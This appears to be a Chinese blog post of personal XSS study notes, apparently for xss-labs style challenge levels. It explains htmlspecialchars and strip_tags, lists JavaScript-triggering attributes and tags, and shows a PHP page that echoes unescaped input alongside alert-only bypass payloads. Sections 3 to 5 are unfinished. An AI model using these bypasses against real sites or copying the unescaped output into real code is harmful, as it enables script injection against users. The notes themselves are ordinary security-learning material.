xss总结

htmlspecialchars(string,flags,character-set,double_encode)

函数把预定义的字符转换为 HTML 实体,默认不编码单引号。
预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ' (单引号)成为 '
  • < (小于)成为 <
  • > (大于)成为 >

strip_tags(string,allow)
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。

string必需。规定要检查的字符串。
allow可选。规定允许的标签。这些标签不会被删除。

触发关键字:

onload  =js
<svg>

href      javascript:
<a>

src
<iframe>(立即触发)

srcdoc
<iframe>(立即触发)

onerror
<img>

onfocus
<input>
 

注:onxxx后面可直接加js代码,其他应用javascript:执行js代码,此外路径可以进行编码。

常用标签

以后再写。。。



1.通过拼接绕过

场景:对于不显示的元素进行拼接触发。
注意:经过htmlspecialchars()处理的数据变成实体后不能与html拼接。

ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>


payload:

"><script>alert('xss')</script>//


2.利用单引号闭合构造触法事件

场景:htmlspecialchars未设置flags参数;有适合的html输出位置。

 这里可以通过<input>标签的一些特殊事件来执行js代码
构造代码:level3.php?keyword='οnfοcus=javascript:alert('xss') > //&submit=搜索


3.大小混写绕过str_replace()


4.unicode编码绕过

场景:对html进行二次解析,如href属性。


5.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值